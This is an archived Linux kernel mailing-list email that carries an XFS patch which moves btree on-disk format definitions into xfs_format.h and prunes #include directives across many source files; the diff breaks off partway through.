X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5FBEB7F4E for ; Sun, 29 Sep 2013 22:07:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B9F1DAC002 for ; Sun, 29 Sep 2013 20:07:41 -0700 (PDT) X-ASG-Debug-ID: 1380510445-04cb6c153d159b0a0005-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id Q7W0IG5rHGyazoAb for ; Sun, 29 Sep 2013 20:07:35 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBRoBDC8zCBgxOQMbGYgFvAaOGoVgA4xRh1GLCopMgzYqgS0 Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006LV-M5 for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002Br-LH for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 05/16] xfs: decouple inode and bmap btree header files Date: Mon, 30 Sep 2013 13:07:02 +1000 X-ASG-Orig-Subj: [PATCH 05/16] xfs: decouple inode and bmap btree header files Message-Id: <1380510433-8353-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510455 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e From: Dave Chinner Currently the xfs_inode.h header has a dependency on the definition of the BMAP btree records as the inode fork includes an array of xfs_bmbt_rec_host_t objects in it's definition. Move all the btree format definitions from xfs_btree.h, xfs_bmap_btree.h, xfs_alloc_btree.h and xfs_ialloc_btree.h to xfs_format.h to continue the process of centralising the on-disk format definitions. With this done, the xfs inode definitions are no longer dependent on btree header files. The enables a massive culling of unnecessary includes, with close to 200 #include directives removed from the XFS kernel code base. Signed-off-by: Dave Chinner --- fs/xfs/xfs_acl.c | 8 +- fs/xfs/xfs_alloc.c | 5 +- fs/xfs/xfs_alloc_btree.c | 7 +- fs/xfs/xfs_alloc_btree.h | 33 ------ fs/xfs/xfs_aops.c | 4 +- fs/xfs/xfs_attr.c | 4 +- fs/xfs/xfs_attr_inactive.c | 8 +- fs/xfs/xfs_attr_leaf.c | 13 +-- fs/xfs/xfs_attr_list.c | 12 +- fs/xfs/xfs_attr_remote.c | 5 +- fs/xfs/xfs_bmap.c | 12 +- fs/xfs/xfs_bmap_btree.c | 7 +- fs/xfs/xfs_bmap_btree.h | 103 ----------------- fs/xfs/xfs_bmap_util.c | 6 +- fs/xfs/xfs_btree.c | 5 +- fs/xfs/xfs_btree.h | 80 ------------- fs/xfs/xfs_buf_item.h | 4 - fs/xfs/xfs_da_btree.c | 2 - fs/xfs/xfs_dir2.c | 5 +- fs/xfs/xfs_dir2_block.c | 4 +- fs/xfs/xfs_dir2_data.c | 3 +- fs/xfs/xfs_dir2_leaf.c | 4 +- fs/xfs/xfs_dir2_node.c | 3 +- fs/xfs/xfs_dir2_readdir.c | 4 +- fs/xfs/xfs_dir2_sf.c | 4 +- fs/xfs/xfs_discard.c | 6 +- fs/xfs/xfs_dquot.c | 5 +- fs/xfs/xfs_dquot_buf.c | 2 - fs/xfs/xfs_dquot_item.c | 8 +- fs/xfs/xfs_error.c | 4 +- fs/xfs/xfs_export.c | 2 +- fs/xfs/xfs_extent_busy.c | 2 - fs/xfs/xfs_extent_busy.h | 4 + fs/xfs/xfs_file.c | 5 +- fs/xfs/xfs_filestream.c | 4 +- fs/xfs/xfs_format.h | 281 +++++++++++++++++++++++++++++++++++++++++++++ fs/xfs/xfs_fsops.c | 12 +- fs/xfs/xfs_ialloc.c | 6 +- fs/xfs/xfs_ialloc.h | 3 +- fs/xfs/xfs_ialloc_btree.c | 6 +- fs/xfs/xfs_ialloc_btree.h | 49 -------- fs/xfs/xfs_icache.c | 4 - fs/xfs/xfs_inode.c | 10 +- fs/xfs/xfs_inode.h | 1 - fs/xfs/xfs_inode_buf.c | 6 +- fs/xfs/xfs_inode_fork.c | 16 +-- fs/xfs/xfs_inode_fork.h | 1 + fs/xfs/xfs_inode_item.c | 4 +- fs/xfs/xfs_ioctl.c | 9 +- fs/xfs/xfs_ioctl32.c | 3 +- fs/xfs/xfs_iomap.c | 16 +-- fs/xfs/xfs_iops.c | 8 +- fs/xfs/xfs_itable.c | 9 +- fs/xfs/xfs_log.c | 6 +- fs/xfs/xfs_log_recover.c | 18 +-- fs/xfs/xfs_log_rlimit.c | 3 +- fs/xfs/xfs_mount.c | 15 +-- fs/xfs/xfs_qm.c | 11 +- fs/xfs/xfs_qm_bhv.c | 7 -- fs/xfs/xfs_qm_syscalls.c | 10 +- fs/xfs/xfs_quotaops.c | 3 +- fs/xfs/xfs_rtalloc.c | 9 +- fs/xfs/xfs_sb.c | 18 +-- fs/xfs/xfs_super.c | 16 +-- fs/xfs/xfs_symlink.c | 6 +- fs/xfs/xfs_trace.c | 5 +- fs/xfs/xfs_trans.c | 16 +-- fs/xfs/xfs_trans.h | 5 + fs/xfs/xfs_trans_buf.c | 5 +- fs/xfs/xfs_trans_dquot.c | 9 +- fs/xfs/xfs_trans_inode.c | 6 +- fs/xfs/xfs_trans_resv.c | 12 +- fs/xfs/xfs_xattr.c | 2 +- 73 files changed, 417 insertions(+), 596 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 0e2f37e..370eb3e 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -16,15 +16,15 @@ * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" -#include "xfs_acl.h" -#include "xfs_attr.h" -#include "xfs_bmap_btree.h" -#include "xfs_inode.h" #include "xfs_ag.h" #include "xfs_sb.h" #include "xfs_mount.h" +#include "xfs_inode.h" +#include "xfs_acl.h" +#include "xfs_attr.h" #include "xfs_trace.h" #include #include diff --git a/fs/xfs/xfs_alloc.c b/fs/xfs/xfs_alloc.c index 999db7a..bcf1652 100644 --- a/fs/xfs/xfs_alloc.c +++ b/fs/xfs/xfs_alloc.c @@ -25,12 +25,9 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" +#include "xfs_alloc_btree.h" #include "xfs_alloc.h" #include "xfs_extent_busy.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_alloc_btree.c b/fs/xfs/xfs_alloc_btree.c index 0bd33bf..698587f 100644 --- a/fs/xfs/xfs_alloc_btree.c +++ b/fs/xfs/xfs_alloc_btree.c @@ -17,17 +17,14 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" #include "xfs_btree.h" +#include "xfs_alloc_btree.h" #include "xfs_alloc.h" #include "xfs_extent_busy.h" #include "xfs_error.h" diff --git a/fs/xfs/xfs_alloc_btree.h b/fs/xfs/xfs_alloc_btree.h index 72676c3..45e189e 100644 --- a/fs/xfs/xfs_alloc_btree.h +++ b/fs/xfs/xfs_alloc_btree.h @@ -27,39 +27,6 @@ struct xfs_btree_cur; struct xfs_mount; /* - * There are two on-disk btrees, one sorted by blockno and one sorted - * by blockcount and blockno. All blocks look the same to make the code - * simpler; if we have time later, we'll make the optimizations. - */ -#define XFS_ABTB_MAGIC 0x41425442 /* 'ABTB' for bno tree */ -#define XFS_ABTB_CRC_MAGIC 0x41423342 /* 'AB3B' */ -#define XFS_ABTC_MAGIC 0x41425443 /* 'ABTC' for cnt tree */ -#define XFS_ABTC_CRC_MAGIC 0x41423343 /* 'AB3C' */ - -/* - * Data record/key structure - */ -typedef struct xfs_alloc_rec { - __be32 ar_startblock; /* starting block number */ - __be32 ar_blockcount; /* count of free blocks */ -} xfs_alloc_rec_t, xfs_alloc_key_t; - -typedef struct xfs_alloc_rec_incore { - xfs_agblock_t ar_startblock; /* starting block number */ - xfs_extlen_t ar_blockcount; /* count of free blocks */ -} xfs_alloc_rec_incore_t; - -/* btree pointer type */ -typedef __be32 xfs_alloc_ptr_t; - -/* - * Block numbers in the AG: - * SB is sector 0, AGF is sector 1, AGI is sector 2, AGFL is sector 3. - */ -#define XFS_BNO_BLOCK(mp) ((xfs_agblock_t)(XFS_AGFL_BLOCK(mp) + 1)) -#define XFS_CNT_BLOCK(mp) ((xfs_agblock_t)(XFS_BNO_BLOCK(mp) + 1)) - -/* * Btree block header size depends on a superblock flag. */ #define XFS_ALLOC_BLOCK_LEN(mp) \ diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index e94be74..84b3b26 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -23,8 +23,6 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" @@ -34,6 +32,8 @@ #include "xfs_trace.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" +#include "xfs_bmap_btree.h" +#include "xfs_dinode.h" #include #include #include diff --git a/fs/xfs/xfs_attr.c b/fs/xfs/xfs_attr.c index ce6f9e0..b861270 100644 --- a/fs/xfs/xfs_attr.c +++ b/fs/xfs/xfs_attr.c @@ -27,15 +27,14 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" #include "xfs_attr_sf.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_alloc.h" #include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" +#include "xfs_bmap_btree.h" #include "xfs_attr.h" #include "xfs_attr_leaf.h" #include "xfs_attr_remote.h" @@ -43,6 +42,7 @@ #include "xfs_quota.h" #include "xfs_trans_space.h" #include "xfs_trace.h" +#include "xfs_dinode.h" /* * xfs_attr.c diff --git a/fs/xfs/xfs_attr_inactive.c b/fs/xfs/xfs_attr_inactive.c index 45480f5..f33fb62 100644 --- a/fs/xfs/xfs_attr_inactive.c +++ b/fs/xfs/xfs_attr_inactive.c @@ -28,14 +28,9 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" +#include "xfs_inode.h" #include "xfs_alloc.h" -#include "xfs_btree.h" #include "xfs_attr_remote.h" -#include "xfs_dinode.h" -#include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" @@ -44,6 +39,7 @@ #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_trace.h" +#include "xfs_dinode.h" /* * Look at all the extents for this logical region, diff --git a/fs/xfs/xfs_attr_leaf.c b/fs/xfs/xfs_attr_leaf.c index c10c70c..a0f9019 100644 --- a/fs/xfs/xfs_attr_leaf.c +++ b/fs/xfs/xfs_attr_leaf.c @@ -18,6 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" @@ -26,24 +27,20 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_alloc.h" -#include "xfs_btree.h" -#include "xfs_attr_sf.h" -#include "xfs_attr_remote.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" +#include "xfs_bmap_btree.h" #include "xfs_bmap.h" +#include "xfs_attr_sf.h" +#include "xfs_attr_remote.h" #include "xfs_attr.h" #include "xfs_attr_leaf.h" #include "xfs_error.h" #include "xfs_trace.h" #include "xfs_buf_item.h" #include "xfs_cksum.h" +#include "xfs_dinode.h" /* diff --git a/fs/xfs/xfs_attr_list.c b/fs/xfs/xfs_attr_list.c index a319eb4..46c4ce1 100644 --- a/fs/xfs/xfs_attr_list.c +++ b/fs/xfs/xfs_attr_list.c @@ -18,6 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" @@ -26,24 +27,19 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_alloc.h" -#include "xfs_btree.h" -#include "xfs_attr_sf.h" -#include "xfs_attr_remote.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_bmap.h" #include "xfs_attr.h" +#include "xfs_attr_sf.h" +#include "xfs_attr_remote.h" #include "xfs_attr_leaf.h" #include "xfs_error.h" #include "xfs_trace.h" #include "xfs_buf_item.h" #include "xfs_cksum.h" +#include "xfs_dinode.h" STATIC int xfs_attr_shortform_compare(const void *a, const void *b) diff --git a/fs/xfs/xfs_attr_remote.c b/fs/xfs/xfs_attr_remote.c index 1407191..2e55304 100644 --- a/fs/xfs/xfs_attr_remote.c +++ b/fs/xfs/xfs_attr_remote.c @@ -18,6 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" @@ -25,10 +26,7 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_error.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_alloc.h" #include "xfs_trans.h" @@ -42,6 +40,7 @@ #include "xfs_trace.h" #include "xfs_cksum.h" #include "xfs_buf_item.h" +#include "xfs_error.h" #define ATTR_RMTVALUE_MAPSIZE 1 /* # of map entries at once */ diff --git a/fs/xfs/xfs_bmap.c b/fs/xfs/xfs_bmap.c index 91c2a2a..c57527a 100644 --- a/fs/xfs/xfs_bmap.c +++ b/fs/xfs/xfs_bmap.c @@ -29,29 +29,25 @@ #include "xfs_da_format.h" #include "xfs_da_btree.h" #include "xfs_dir2.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" -#include "xfs_mount.h" -#include "xfs_itable.h" #include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_extfree_item.h" #include "xfs_alloc.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" +#include "xfs_bmap_btree.h" #include "xfs_rtalloc.h" #include "xfs_error.h" -#include "xfs_attr_leaf.h" #include "xfs_quota.h" #include "xfs_trans_space.h" #include "xfs_buf_item.h" -#include "xfs_filestream.h" #include "xfs_trace.h" #include "xfs_symlink.h" +#include "xfs_attr_leaf.h" +#include "xfs_dinode.h" +#include "xfs_filestream.h" kmem_zone_t *xfs_bmap_free_item_zone; diff --git a/fs/xfs/xfs_bmap_btree.c b/fs/xfs/xfs_bmap_btree.c index 89ef4e6..2fb4a22 100644 --- a/fs/xfs/xfs_bmap_btree.c +++ b/fs/xfs/xfs_bmap_btree.c @@ -24,21 +24,18 @@ #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" #include "xfs_alloc.h" #include "xfs_btree.h" -#include "xfs_itable.h" +#include "xfs_bmap_btree.h" #include "xfs_bmap.h" #include "xfs_error.h" #include "xfs_quota.h" #include "xfs_trace.h" #include "xfs_cksum.h" +#include "xfs_dinode.h" /* * Determine the extent state. diff --git a/fs/xfs/xfs_bmap_btree.h b/fs/xfs/xfs_bmap_btree.h index e2b0768..6e42e1e 100644 --- a/fs/xfs/xfs_bmap_btree.h +++ b/fs/xfs/xfs_bmap_btree.h @@ -18,9 +18,6 @@ #ifndef __XFS_BMAP_BTREE_H__ #define __XFS_BMAP_BTREE_H__ -#define XFS_BMAP_MAGIC 0x424d4150 /* 'BMAP' */ -#define XFS_BMAP_CRC_MAGIC 0x424d4133 /* 'BMA3' */ - struct xfs_btree_cur; struct xfs_btree_block; struct xfs_mount; @@ -28,85 +25,6 @@ struct xfs_inode; struct xfs_trans; /* - * Bmap root header, on-disk form only. - */ -typedef struct xfs_bmdr_block { - __be16 bb_level; /* 0 is a leaf */ - __be16 bb_numrecs; /* current # of data records */ -} xfs_bmdr_block_t; - -/* - * Bmap btree record and extent descriptor. - * l0:63 is an extent flag (value 1 indicates non-normal). - * l0:9-62 are startoff. - * l0:0-8 and l1:21-63 are startblock. - * l1:0-20 are blockcount. - */ -#define BMBT_EXNTFLAG_BITLEN 1 -#define BMBT_STARTOFF_BITLEN 54 -#define BMBT_STARTBLOCK_BITLEN 52 -#define BMBT_BLOCKCOUNT_BITLEN 21 - -typedef struct xfs_bmbt_rec { - __be64 l0, l1; -} xfs_bmbt_rec_t; - -typedef __uint64_t xfs_bmbt_rec_base_t; /* use this for casts */ -typedef xfs_bmbt_rec_t xfs_bmdr_rec_t; - -typedef struct xfs_bmbt_rec_host { - __uint64_t l0, l1; -} xfs_bmbt_rec_host_t; - -/* - * Values and macros for delayed-allocation startblock fields. - */ -#define STARTBLOCKVALBITS 17 -#define STARTBLOCKMASKBITS (15 + XFS_BIG_BLKNOS * 20) -#define DSTARTBLOCKMASKBITS (15 + 20) -#define STARTBLOCKMASK \ - (((((xfs_fsblock_t)1) << STARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) -#define DSTARTBLOCKMASK \ - (((((xfs_dfsbno_t)1) << DSTARTBLOCKMASKBITS) - 1) << STARTBLOCKVALBITS) - -static inline int isnullstartblock(xfs_fsblock_t x) -{ - return ((x) & STARTBLOCKMASK) == STARTBLOCKMASK; -} - -static inline int isnulldstartblock(xfs_dfsbno_t x) -{ - return ((x) & DSTARTBLOCKMASK) == DSTARTBLOCKMASK; -} - -static inline xfs_fsblock_t nullstartblock(int k) -{ - ASSERT(k < (1 << STARTBLOCKVALBITS)); - return STARTBLOCKMASK | (k); -} - -static inline xfs_filblks_t startblockval(xfs_fsblock_t x) -{ - return (xfs_filblks_t)((x) & ~STARTBLOCKMASK); -} - -/* - * Possible extent formats. - */ -typedef enum { - XFS_EXTFMT_NOSTATE = 0, - XFS_EXTFMT_HASSTATE -} xfs_exntfmt_t; - -/* - * Possible extent states. - */ -typedef enum { - XFS_EXT_NORM, XFS_EXT_UNWRITTEN, - XFS_EXT_DMAPI_OFFLINE, XFS_EXT_INVALID -} xfs_exntst_t; - -/* * Extent state and extent format macros. */ #define XFS_EXTFMT_INODE(x) \ @@ -115,27 +33,6 @@ typedef enum { #define ISUNWRITTEN(x) ((x)->br_state == XFS_EXT_UNWRITTEN) /* - * Incore version of above. - */ -typedef struct xfs_bmbt_irec -{ - xfs_fileoff_t br_startoff; /* starting file offset */ - xfs_fsblock_t br_startblock; /* starting block number */ - xfs_filblks_t br_blockcount; /* number of blocks */ - xfs_exntst_t br_state; /* extent state */ -} xfs_bmbt_irec_t; - -/* - * Key structure for non-leaf levels of the tree. - */ -typedef struct xfs_bmbt_key { - __be64 br_startoff; /* starting file offset */ -} xfs_bmbt_key_t, xfs_bmdr_key_t; - -/* btree pointer type */ -typedef __be64 xfs_bmbt_ptr_t, xfs_bmdr_ptr_t; - -/* * Btree block header size depends on a superblock flag. */ #define XFS_BMBT_BLOCK_LEN(mp) \ diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index c1ad76d..e5cf45a 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -27,10 +27,6 @@ #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_da_format.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_btree.h" #include "xfs_trans.h" @@ -38,6 +34,7 @@ #include "xfs_alloc.h" #include "xfs_bmap.h" #include "xfs_bmap_util.h" +#include "xfs_bmap_btree.h" #include "xfs_rtalloc.h" #include "xfs_error.h" #include "xfs_quota.h" @@ -45,6 +42,7 @@ #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_log.h" +#include "xfs_dinode.h" /* Kernel only BMAP related definitions and functions */ diff --git a/fs/xfs/xfs_btree.c b/fs/xfs/xfs_btree.c index 0836511..9adaae4 100644 --- a/fs/xfs/xfs_btree.c +++ b/fs/xfs/xfs_btree.c @@ -18,16 +18,13 @@ #include "xfs.h" #include "xfs_fs.h" #include "xfs_shared.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_bit.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_ialloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" diff --git a/fs/xfs/xfs_btree.h b/fs/xfs/xfs_btree.h index 06729b6..1439e15 100644 --- a/fs/xfs/xfs_btree.h +++ b/fs/xfs/xfs_btree.h @@ -39,86 +39,6 @@ extern kmem_zone_t *xfs_btree_cur_zone; #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) /* - * Generic btree header. - * - * This is a combination of the actual format used on disk for short and long - * format btrees. The first three fields are shared by both format, but the - * pointers are different and should be used with care. - * - * To get the size of the actual short or long form headers please use the size - * macros below. Never use sizeof(xfs_btree_block). - * - * The blkno, crc, lsn, owner and uuid fields are only available in filesystems - * with the crc feature bit, and all accesses to them must be conditional on - * that flag. - */ -struct xfs_btree_block { - __be32 bb_magic; /* magic number for block type */ - __be16 bb_level; /* 0 is a leaf */ - __be16 bb_numrecs; /* current # of data records */ - union { - struct { - __be32 bb_leftsib; - __be32 bb_rightsib; - - __be64 bb_blkno; - __be64 bb_lsn; - uuid_t bb_uuid; - __be32 bb_owner; - __le32 bb_crc; - } s; /* short form pointers */ - struct { - __be64 bb_leftsib; - __be64 bb_rightsib; - - __be64 bb_blkno; - __be64 bb_lsn; - uuid_t bb_uuid; - __be64 bb_owner; - __le32 bb_crc; - __be32 bb_pad; /* padding for alignment */ - } l; /* long form pointers */ - } bb_u; /* rest */ -}; - -#define XFS_BTREE_SBLOCK_LEN 16 /* size of a short form block */ -#define XFS_BTREE_LBLOCK_LEN 24 /* size of a long form block */ - -/* sizes of CRC enabled btree blocks */ -#define XFS_BTREE_SBLOCK_CRC_LEN (XFS_BTREE_SBLOCK_LEN + 40) -#define XFS_BTREE_LBLOCK_CRC_LEN (XFS_BTREE_LBLOCK_LEN + 48) - -#define XFS_BTREE_SBLOCK_CRC_OFF \ - offsetof(struct xfs_btree_block, bb_u.s.bb_crc) -#define XFS_BTREE_LBLOCK_CRC_OFF \ - offsetof(struct xfs_btree_block, bb_u.l.bb_crc) - -/* - * Generic key, ptr and record wrapper structures. - * - * These are disk format structures, and are converted where necessary - * by the btree specific code that needs to interpret them. - */ -union xfs_btree_ptr { - __be32 s; /* short form ptr */ - __be64 l; /* long form ptr */ -}; - -union xfs_btree_key { - xfs_bmbt_key_t bmbt; - xfs_bmdr_key_t bmbr; /* bmbt root block */ - xfs_alloc_key_t alloc; - xfs_inobt_key_t inobt; -}; - -union xfs_btree_rec { - xfs_bmbt_rec_t bmbt; - xfs_bmdr_rec_t bmbr; /* bmbt root block */ - xfs_alloc_rec_t alloc; - xfs_inobt_rec_t inobt; -}; - -/* * For logging record fields. */ #define XFS_BB_MAGIC (1 << 0) diff --git a/fs/xfs/xfs_buf_item.h b/fs/xfs/xfs_buf_item.h index db63710..3f3455a 100644 --- a/fs/xfs/xfs_buf_item.h +++ b/fs/xfs/xfs_buf_item.h @@ -71,10 +71,6 @@ void xfs_buf_attach_iodone(struct xfs_buf *, void xfs_buf_iodone_callbacks(struct xfs_buf *); void xfs_buf_iodone(struct xfs_buf *, struct xfs_log_item *); -void xfs_trans_buf_set_type(struct xfs_trans *, struct xfs_buf *, - enum xfs_blft); -void xfs_trans_buf_copy_type(struct xfs_buf *dst_bp, struct xfs_buf *src_bp); - extern kmem_zone_t *xfs_buf_item_zone; #endif /* __XFS_BUF_ITEM_H__ */ diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index 3770111..eb65c54 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -28,10 +28,8 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index cef1661..38bf932 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -17,6 +17,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_inum.h" @@ -25,9 +26,6 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_alloc_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" @@ -36,6 +34,7 @@ #include "xfs_dir2_priv.h" #include "xfs_error.h" #include "xfs_trace.h" +#include "xfs_dinode.h" struct xfs_name xfs_name_dotdot = { (unsigned char *)"..", 2, XFS_DIR3_FT_DIR }; diff --git a/fs/xfs/xfs_dir2_block.c b/fs/xfs/xfs_dir2_block.c index 6c7cd3c..9f3f83a 100644 --- a/fs/xfs/xfs_dir2_block.c +++ b/fs/xfs/xfs_dir2_block.c @@ -18,6 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" @@ -25,8 +26,6 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_trans.h" #include "xfs_inode_item.h" @@ -37,6 +36,7 @@ #include "xfs_error.h" #include "xfs_trace.h" #include "xfs_cksum.h" +#include "xfs_dinode.h" /* * Local function prototypes. diff --git a/fs/xfs/xfs_dir2_data.c b/fs/xfs/xfs_dir2_data.c index 3f7eddd..ccfeb4d 100644 --- a/fs/xfs/xfs_dir2_data.c +++ b/fs/xfs/xfs_dir2_data.c @@ -18,6 +18,7 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" #include "xfs_sb.h" @@ -25,8 +26,6 @@ #include "xfs_mount.h" #include "xfs_da_format.h" #include "xfs_da_btree.h" -#include "xfs_bmap_btree.h" -#include "xfs_dinode.h" #include "xfs_inode.h" #include "xfs_dir2.h" #include "xfs_dir2_priv.h" diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 44fe4b8..51fdc11 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -18,16 +18,14 @@ */ #include "xfs.h" #include "xfs_fs.h" +#include "xfs_format.h" #include "xfs_log_format.h" #include "xfs_trans_resv.h" -#include "xfs_bit.h" #include "xfs_sb.h" #include "xfs_ag.h" #include "xfs_mount.h" #include 